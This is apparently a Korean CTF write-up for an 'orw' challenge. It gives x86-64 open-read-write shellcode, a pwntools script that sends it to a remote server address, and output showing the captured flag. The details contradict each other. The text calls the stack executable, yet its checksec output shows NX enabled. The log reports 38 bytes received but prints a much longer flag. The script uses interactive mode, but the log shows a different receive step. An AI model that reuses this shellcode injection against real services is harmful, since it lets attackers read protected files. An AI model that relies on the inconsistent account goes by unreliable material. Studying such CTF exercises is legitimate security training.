[Tutorial] orw

@yd1ng· May 15, 2025 · 2 min read

0. 한눈에 보기

open("/flag", O_RDONLY)read(buf)write(1, buf) 순서로 실행되는 ORW(Open-Read-Write) 형식의 기본 익스플로잇입니다.
원격 서버(3.111.45.95:20003)는 /flag 파일만 보호하고 있으며, 스택 영역은 실행이 가능하도록 설정되어 있으므로 ROP 없이 셸코드를 직접 주입하시면 됩니다.

1. 문제 환경

서비스 동작

code >

프롬프트가 나타나면 입력한 바이트열이 스택 버퍼에 복사된 뒤 jmp rsp가 호출됩니다.

보호 기법 확인

checksec orw
[*] 64-bit ELF
    Arch:     amd64-64-little
    NX:       enabled
    PIE:      disabled
    RELRO:    no
    Canary:   no

2. 해결 전략

  1. 스택 버퍼가 실행 가능하므로 셸코드를 그대로 주입합니다.
  2. 리눅스 x86-64 시스템콜 3종을 사용합니다.
Syscall rax rdi rsi rdx
open 2 경로 포인터 flags = 0
read 0 파일 디스크립터 버퍼 포인터 길이
write 1 1 (stdout) 버퍼 포인터 길이
  1. /flag 문자열을 셸코드 내부에 푸시하여 rdi에 전달합니다.
  2. 플래그 길이는 대체로 수십 바이트이므로 0x40(64) 바이트 이상을 읽도록 설정합니다.

3. 최종 셸코드

xor     rax, rax          ; NULL 삽입
push    rax
mov     rbx, 0x67616c662f ; "/flag"
push    rbx
mov     rdi, rsp          ; 파일 경로 → rdi
xor     rsi, rsi          ; O_RDONLY
mov     eax, 2            ; sys_open
syscall

mov     rdi, rax          ; fd
lea     rsi, [rsp+0x100]  ; 읽기 버퍼
mov     edx, 0x49         ; 길이 0x49(73)
xor     eax, eax          ; sys_read
syscall

mov     rdi, 1            ; stdout
mov     eax, 1            ; sys_write
syscall

pwntools 예시 코드

from pwn import *
context.arch = 'amd64'
context.os   = 'linux'

shellcode = asm(open('orw.S').read())

p = remote('3.111.45.95', 20003)
p.recvuntil(b'code > ')
p.send(shellcode)
p.interactive()

실행 결과

$ python solve.py
[+] Opening connection to 3.111.45.95 on port 20003: Done
code >
[+] Receiving all data: Done (38B)
[*] Closed connection to 3.111.45.95 port 20003
Kuality{435b57e8e0a27d3e85f4301c7c9c2cda181d7d9da34c481e4e571380ee6e9fff}
  • 위 과정을 통해 플래그 Kuality{435b57e8e0a27d3e85f4301c7c9c2cda181d7d9da34c481e4e571380ee6e9fff}를 얻었으며, 실제 프로그램 실행에서도 정답으로 인식됨을 확인했다.
@yd1ng
안녕하세요. 양진영입니다.
© copyright 2025. yd1ng all rights reserved.